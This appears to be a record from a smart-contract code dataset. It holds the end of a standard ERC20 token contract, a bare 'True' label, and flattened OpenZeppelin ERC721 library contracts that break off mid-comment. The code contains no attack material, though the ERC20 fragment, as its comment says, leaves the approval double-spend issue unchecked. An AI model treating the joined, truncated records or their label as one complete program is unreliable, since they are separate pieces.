public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * 